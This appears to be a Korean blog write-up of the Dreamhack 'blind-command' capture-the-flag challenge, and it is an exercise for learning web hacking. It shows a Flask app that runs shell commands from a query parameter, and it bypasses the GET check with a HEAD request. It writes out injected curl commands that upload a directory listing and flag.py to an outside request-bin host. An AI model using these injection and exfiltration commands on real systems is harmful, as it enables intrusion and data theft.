외로운 Nova의 작업실

dreamhack 웹해킹 - 11(blind-command) 본문

Web Penetesting/Web Vulnerability

dreamhack 웹해킹 - 11(blind-command)

Nova_ 2022. 12. 28. 15:44

이번시간에는 웹해킹 마지막 blind-command 문제를 풀어보겠습니다.

 

- 문제 인식

 

flag file을 읽으라고합니다. 확장자도 파일 이름도 주어지지않습니다. 먼저 문제 파일을 보겠습니다.

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

cmd값을 매개변수로 주게된후 GET방식이 아닌 다른 메서드로 주게되면 os.system()함수가 실행됩니다. 즉, GET 방식인데 'GET'이 아닌 것을 찾는게 중요합니다. 이부분은 검색을 통해 HEAD 메서드는 GET 방식과 일치하지만 헤더부분만 가져오는 것으로 methods=['GET']을 하면 HEAD메서드도 포함되게 됩니다. 실제로 HAED 메서드가 먹히는지 보기위해 curl 명령어를 cmd에 보내 저의 dreamhack tool에 핑을 보내보도록 하겠습니다. 이때 메서드를 바꾸는건 버프 스위트로 해보도록 하겠습니다.

 

- 문제 풀이

 

 

버프 스위트를 키고 cmd에 curl https://zpinaat.request.dreamhack.games 를  입력한후 HEAD 메서드로 변경해주겠습니다.

 

핑이 온것을 확인할 수 있습니다. 이를 이용해서 ls>test.txt 명령어로 파일구조 파일을 만들고 curl -F upload=@test.txt &  https://zpinaat.request.dreamhack.games를 사용해서 tool서버로 test.txt 파일내용을 보내보게해보겠습니다.

 

패킷을 보내게되면

아무것도 안뜹니다. 이제 test.txt 파일을 보내보도록 하겠습니다.

그럼 툴즈에 오게됩니다.

아래보게되면 app.py, flag.py, requirement.txt, test.txt 파일이 있다는 것을 알 수 있습니다. 아마 flag.py 파일에 flag가 있겠죠? 이제 flag.py파일을 보내게 해봅시다.

curl -F upload=@flag.py https://zpinaat.request.dreamhack.games

아래 보게되면 플래그가 존재하게됩니다.

Comments